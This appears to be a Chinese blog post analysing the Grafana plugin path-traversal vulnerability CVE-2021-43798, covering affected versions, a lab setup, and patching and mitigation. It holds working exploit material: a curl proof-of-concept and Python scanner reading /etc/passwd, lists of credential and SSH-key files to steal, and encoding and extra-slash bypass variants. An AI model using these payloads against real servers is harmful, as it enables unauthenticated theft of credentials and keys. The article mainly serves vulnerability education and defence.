news 2026/4/16 1:36:11

Grafana 插件模块目录穿越漏洞(CVE-2021-43798)深度解析与防御实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Grafana 插件模块目录穿越漏洞(CVE-2021-43798)深度解析与防御实践

1. Grafana目录穿越漏洞深度解析

Grafana作为当前最流行的开源可视化监控平台,在2021年底曝出的CVE-2021-43798漏洞引发了广泛关注。这个漏洞本质上是个典型的目录穿越漏洞(Directory Traversal),但特殊之处在于它通过插件模块这个看似安全的入口实现了攻击突破。

我在实际渗透测试中发现,该漏洞最危险的特点是完全不需要任何身份认证。攻击者只需构造特定的HTTP请求路径,就能直接读取服务器上的敏感文件。比如通过构造/public/plugins/alertlist/../../../../../../../../etc/passwd这样的URL,就能轻松获取系统用户列表。

1.1 漏洞核心原理

问题的根源在于Grafana处理插件静态资源请求时的路径校验逻辑。当请求/public/plugins/[插件名]/[资源路径]时,系统会执行以下操作:

  1. 拼接基础路径/var/lib/grafana/public/plugins/
  2. 直接附加用户输入的相对路径
  3. 未对../进行过滤就执行文件读取

用个生活场景类比:就像酒店前台收到"请把308房间的../财务室/保险箱钥匙给我"这样的请求,未经核实就直接执行了。

1.2 受影响版本范围

根据官方公告,受影响的具体版本包括:

  • Grafana 8.0.0-beta1 至 8.0.7
  • Grafana 8.1.0 至 8.1.8
  • Grafana 8.2.0 至 8.2.7
  • Grafana 8.3.0

特别需要注意的是,使用Docker部署时如果直接拉取latest标签,很可能就会中招。我在测试环境中用以下命令复现时,就遇到了这个问题:

docker pull grafana/grafana:8.2.5 docker run -d -p 3000:3000 grafana/grafana:8.2.5

2. 漏洞复现实战演示

2.1 基础环境搭建

建议使用以下配置快速搭建测试环境:

# 使用Vulhub的现成环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/grafana/CVE-2021-43798 docker-compose up -d

启动后访问http://your-ip:3000就能看到Grafana登录界面,此时系统已处于漏洞状态。

2.2 手工验证POC

最直接的验证方式是使用curl命令:

curl -v "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"

如果返回root:x:0:0:root:/root:/bin/bash等用户信息,说明漏洞存在。我在实际测试中发现,不同插件名称的成功率有差异,推荐按这个顺序尝试:

  1. alertlist
  2. dashlist
  3. graph
  4. prometheus

2.3 自动化检测工具

对于批量检测场景,可以使用开源的检测脚本:

import requests plugins = ["alertlist","dashlist","graph","prometheus"] for plugin in plugins: url = f"http://target:3000/public/plugins/{plugin}/../../../../../../../../etc/passwd" resp = requests.get(url) if "root:" in resp.text: print(f"[+] Vulnerable via {plugin}") break

3. 漏洞利用进阶技巧

3.1 敏感文件枚举

除了常见的/etc/passwd,以下文件往往包含高价值信息:

  • /etc/grafana/grafana.ini(含数据库密码)
  • /var/lib/grafana/grafana.db(SQLite数据库)
  • /proc/self/environ(环境变量)
  • /root/.ssh/id_rsa(SSH私钥)

我在某次渗透测试中,就是通过读取grafana.ini文件获得了数据库凭证,进而拿到了整个监控系统的控制权。

3.2 绕过特殊场景

当遇到以下情况时,可以尝试这些变种Payload:

  1. 反向代理场景:使用URL编码的..%2f替代../
    /public/plugins/alertlist/..%2f..%2f..%2fetc/passwd
  2. WAF拦截场景:增加多余的斜杠
    /public/plugins/alertlist///../../../../etc/passwd

4. 全面防御方案

4.1 官方修复方案

Grafana官方在8.0.7、8.1.8、8.2.7和8.3.1版本中修复了该漏洞。升级命令示例:

# Docker环境 docker pull grafana/grafana:8.3.1 docker-compose down && docker-compose up -d # Ubuntu环境 sudo apt update && sudo apt install --only-upgrade grafana

4.2 临时缓解措施

如果无法立即升级,可以采用以下方案:

方案一:Nginx反向代理过滤

location ~ /public/plugins/ { if ($request_uri ~* "\.\.") { return 403; } proxy_pass http://grafana:3000; }

方案二:网络层控制

# 只允许管理IP访问Grafana iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 3000 -j DROP

4.3 安全加固建议

根据我在企业环境中的实战经验,建议额外实施:

  1. 启用Grafana的强制HTTPS
  2. 配置适当的访问控制策略
  3. 定期审计插件权限
  4. /public/plugins目录设置只读权限

5. 事件响应与取证

当发现漏洞被利用后,建议立即执行以下操作:

  1. 保留现场证据

    # 保存当前网络连接 netstat -tulnp > netstat.log # 保存进程快照 ps aux > ps.log
  2. 检查异常文件访问

    # Linux系统检查最近访问的文件 find /var/lib/grafana -type f -atime -1 -ls
  3. 数据库审计

    -- 检查grafana数据库中的异常会话 SELECT * FROM user_auth_token WHERE created > datetime('now','-1 day');

在多个企业应急响应案例中,我们发现攻击者往往会尝试读取Kubernetes的/var/run/secrets目录获取集群凭证,这点需要特别关注。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 1:35:11

基于 Spring Boot + Vue 的宠物健康管理与社交分享系统

本文基于本人毕业设计项目整理,涵盖系统设计、核心功能、关键技术及实现过程,可为课程设计、毕业设计及相关项目实践提供参考。 一、项目功能 本系统基于 Spring Boot Vue 前后端分离架构,实现以下功能: 宠物信息管理 宠物健康…

作者头像 李华
网站建设 2026/4/16 1:32:31

ai智能电话机器人,自动筛选精准意向客户

机器人打电话软件代替人工自动打电话,通话过程中会根据客户的意向等级进行ABCD分类,并通过语音和文字的方式保存与客户的通话过程。打出来意向客户实时推送到业务人员手机上,后续方便销售人员为第二次沟通做准备。1 5 1 364 537 21。1、自动呼…

作者头像 李华
网站建设 2026/4/16 1:28:24

Python Turtle 烟花模拟:从基础绘制到动态交互

1. Python Turtle 入门:从零开始绘制烟花 第一次接触 Python 的 turtle 模块时,我完全被它的简单和直观震撼到了。想象一下,你手里拿着一支笔,可以指挥一只小海龟在屏幕上爬行,它爬过的轨迹就是绘制的线条。这种编程方…

作者头像 李华
网站建设 2026/4/16 1:25:52

c盘红了怎么清理c盘空间 5种清理方式(附详细步骤)

C盘剩余空间不足时,会出现容量条变红的情况,这不仅会影响系统运行速度,还可能导致电脑卡顿、程序无法安装、更新失败等问题。为了保证电脑稳定流畅地运行,我们需要定期清理C盘空间。本文将介绍多种C盘红了的清理方法,让…

作者头像 李华
网站建设 2026/4/16 1:23:11

影刀RPA社区版应用迁移全攻略:突破30行限制实现自由编辑与调试

1. 影刀RPA社区版应用迁移的核心痛点 影刀RPA社区版作为入门级自动化工具,确实给个人开发者和小团队带来了不少便利。但用过的人都知道,它有个让人头疼的限制——只能分享30行以内的应用,而且接收方无法对应用进行编辑和调试。这就好比你精心…

作者头像 李华